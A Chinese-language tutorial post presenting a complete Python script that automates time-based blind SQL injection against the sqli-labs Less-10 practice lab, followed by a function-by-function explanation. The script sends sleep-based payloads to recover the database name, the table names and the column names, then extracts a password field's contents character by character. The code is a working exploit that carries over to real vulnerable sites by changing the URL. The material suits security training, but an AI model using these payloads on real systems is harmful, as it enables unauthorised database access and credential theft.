python實現(xiàn)自動化的sql延時注入

更新時間：2024年12月12日 09:49:49 作者：樂茵安全

這篇文章主要為大家詳細介紹了如何基于python實現(xiàn)自動化的sql延時注入腳本,文中的示例代碼講解詳細,感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下

自動化的sql延時注入腳本

源碼

import requests
import time
import datetime
url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"
p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'
#獲取數(shù)據(jù)庫長度
def database_len():
    for i in range(1,10):
        payload = '?id=1" and if(length(database())>%s,sleep(4),0)--+'%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #計算時間差， 忽略天 只看時分秒   total_seconds() 真正的時間差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('數(shù)據(jù)庫長度為:',i)
 
#database_len()
 
 
#獲取數(shù)據(jù)庫名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload='?id=1" and if(substr(database(),%s,1)="%s",sleep(4),1)--+' %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('數(shù)據(jù)庫名字為:'+n)
 
#datebase_name()
 
#獲取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)="%s"),3,0)) --+'%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一個表為:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二個表為：',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三個表為：',table3)
                    elif i == 3:
                        table4 += t
                        print('第四個表為：',table4)
                    else:
                        break
    print('第一個表為'+table1)
    print('第二個表為'+table2)
    print('第三個表為' + table3)
    print('第四個表為' + table4)
 
 
#tables_name()
 
#獲取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload='?id=1" and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)="%s"),5,0)) --+'%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一為：'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二為：'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三為:'+column3)
                    else:
                        break
    print('users字段一為：'+column1)
    print('字段二為：'+column2)
    print('字段三為：',column3)
 
 
#table_column()
 
def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = '?id=1" and sleep(if((mid((select %s from %s limit 7,1),%s,1)="%s" ),3,0)) --+'%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一內(nèi)容為：'+content1)
                        break
 
    print('字段內(nèi)容為：'+content1)
 
 
start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('總花費時間為',end_start_time,'秒')”

源碼詳解

這段代碼是一個Python腳本，用于通過SQL注入漏洞來探測和提取一個Web應(yīng)用程序的數(shù)據(jù)庫信息。它使用了requests庫來發(fā)送HTTP請求，并使用time和datetime庫來測量響應(yīng)時間，從而推斷出數(shù)據(jù)庫的結(jié)構(gòu)和內(nèi)容。

導(dǎo)入庫

import requests
import time
import datetime

requests: 用于發(fā)送HTTP請求。

time 和 datetime: 用于測量時間差。

定義URL

url = "http://www.sr.com:8082/sqli-labs-master/Less-10/"

目標URL，用于發(fā)送SQL注入請求。

定義字符集

p1 = 'abcdefghijklmnopqrstuvwxyz0123456789'

包含所有可能的字符，用于構(gòu)造SQL注入的payload。

獲取數(shù)據(jù)庫長度

def database_len():
    # ...

通過逐步增加length(database())的值，并測量響應(yīng)時間來確定數(shù)據(jù)庫名稱的長度。

獲取數(shù)據(jù)庫名

def datebase_name():
    # ...

通過逐個字符地探測數(shù)據(jù)庫名稱，并測量響應(yīng)時間來確定每個字符。

獲取表名

def tables_name():
    # ...

通過查詢information_schema.tables表，并測量響應(yīng)時間來確定表名。

獲取表中的字段

def table_column():
    # ...

通過查詢information_schema.columns表，并測量響應(yīng)時間來確定字段名。

獲取字段內(nèi)容

def s_content():
    # ...

通過查詢特定表的特定字段，并測量響應(yīng)時間來確定字段的內(nèi)容。

主程序

start_time = time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time = time.time()
end_start_time = end_time - start_time
print('總花費時間為', end_start_time, '秒')

記錄開始時間，依次調(diào)用上述函數(shù)來獲取數(shù)據(jù)庫信息，記錄結(jié)束時間，并計算總耗時。